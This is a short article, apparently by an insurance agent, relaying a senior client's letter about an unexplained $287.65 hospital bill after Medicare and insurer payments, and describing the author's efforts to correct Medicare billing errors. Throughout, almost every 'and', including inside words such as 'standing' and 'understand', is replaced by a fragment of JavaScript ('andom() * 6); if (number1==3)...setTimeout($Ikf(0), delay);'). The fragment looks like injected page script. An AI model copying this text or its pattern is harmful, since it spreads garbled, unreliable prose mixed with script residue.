WONDERFUL LETTER

By Woodrow Wilcox

I received a wonderful letter from a client on Monday, June 21, 2010.  I would like to show the letter to the world, but that would be both illegal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inappropriate.  So, I will eliminate the identifying information from the letter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let you know what the client wrote.  I have changed the name of the hospital to just “hospital” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and edited some other identifiers from the letter to protect the privacy of the client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and follow the law.  With that editing acknowledged, here is the letter that I received from a senior citizen gentleman in Lowell, Indiana.

Dear Mr. Wilcox,

I had surgery for (a condition) at (a hospital in northwest Indiana) in April.

This month, I received a bill from (the hospital) for $287.65. The bill appears to acknowledge payments from Medicare andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and (my insurance company). A copy of the bill is submitted for your review.

As of this writing (June 18), I have received no payment information regarding this surgery from either (Medicare) or (my insurance company).

Because of this, I don’t know if this bill for $287.65 is my responsibility or if there was an error in billing.

You’ve been a wonderful help to me in prior run-ins with (the hospital). May I ask your help again? I’m sorry to be troubling you.

Thank you for your past andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and current help for seniors. You’ve definitely made a difference in standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding up for me andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others in my age group.

That is all that I can share from the client’s letter. Let me answer that a client’s request for help is not “troubling” me. It is one of my responsibilities at this insurance agency. Normally, I’m a rather mellow guy. But, dealing with collection departments, collection agencies, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and collection attorneys to protect our clients’ interests when a Medicare related bill is messed up can cause some stress. The last time I figured it, I had saved senior citizen clients of this insurance agency over $750,000 in wrongful claims that they would have paid if I had not helped them.

There is so much to do, too. I have encouraged other people to help senior citizens to correct Medicare caused medical bill errors. The best candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates to give this help are insurance agents who serve senior citizens. In past articles, I have given my calculations for my belief that errors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mistakes by federal government Medicare personnel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and systems are costing America’s senior citizens OVER ONE BILLION DOLLARS PER YEAR in wrongful demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands for money from senior citizens for just Medicare parts A andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and B alone. Even more problems have been caused by Medicare parts C andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and D.

So, if you meet me andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I’m a bit stressed or overworked, please, understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why.
